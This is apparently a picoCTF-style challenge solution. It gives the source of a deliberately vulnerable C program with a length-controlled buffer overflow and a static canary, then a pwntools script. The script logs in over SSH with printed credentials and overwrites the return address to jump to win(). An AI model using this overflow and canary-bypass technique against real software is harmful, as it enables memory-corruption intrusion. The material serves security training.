Offset Cycle V2

#buffer-overflow#ret2win#solution-only

Contents

Source (one of many)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BUFSIZE 845
#define CANARY_SIZE 4
#define FLAGSIZE 64

char global_canary[CANARY_SIZE];

void win() {
    char flag[FLAGSIZE];
    FILE *f = fopen("CodeBank/flag.txt", "r");

    if (!f) {
        puts("Missing flag.txt.");
        exit(0);
    }

    fgets(flag, FLAGSIZE, f);
    puts(flag);
}

void load_canary() {
    FILE *f = fopen("CodeBank/flag.txt", "r");

    if (!f) {
        puts("Missing flag.txt.");
        exit(0);
    }

    fread(global_canary, 1, CANARY_SIZE, f);
    fclose(f);
}

void vuln() {
    char local_canary[CANARY_SIZE];
    char buf[BUFSIZE];
    char input[BUFSIZE];
    int count, i = 0;

    memcpy(local_canary, global_canary, CANARY_SIZE);

    printf("How many bytes?\n> ");
    while (i < BUFSIZE && read(0, &input[i], 1) == 1 && input[i] != '\n')
        i++;

    sscanf(input, "%d", &count);

    printf("Input> ");
    read(0, buf, count);

    if (memcmp(local_canary, global_canary, CANARY_SIZE) != 0) {
        puts("***** Stack Smashing Detected *****");
        exit(0);
    }

    puts("Ok... Now Where's the flag?");
}

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setresgid(getegid(), getegid(), getegid());

    load_canary();
    vuln();
    return 0;
}

Solution

#!/usr/bin/env python3

from pwn import *
from termcolor import colored
import time
from tqdm import tqdm



def conn():
    user = "ctf-player"
    host = "dolphin-cove.picoctf.net"
    port = 61984
    pw   = "a15d25e1"

    s = ssh(user=user,host=host,port=port,password=pw)
    #s.system("./start")
    return s

def offset(num):
    return b'i' * num

def main():
    s = conn()
    ls = s.run("ls -la")
    print(ls.recvallS())
    filename = input("File name: ")
    src = s.run(f"cat {filename}.c")
    src.recvuntil(b'#define BUFSIZE ')
    bufsize = src.recvuntil(b'\n', drop=True)
    bufsize = int(bufsize.decode("ascii"))
    print(bufsize)

    s.download(f"./{filename}")
    s.download(f"./{filename}.c")

    elf = ELF(f"./{filename}")


    r = s.run(f"./{filename}")
    win = elf.sym["win"]
    payload = offset(bufsize) + b'pico' + offset(16) + p32(win)
    r.sendlineafter(b'> ', str(len(payload)).encode("ascii"))
    r.sendlineafter(b'> ', payload)
    r.recvuntil(b'the flag?\n')
    flag = r.recvuntilS(b'}')
    print()
    print(flag)
    print()

if __name__ == "__main__":
    main()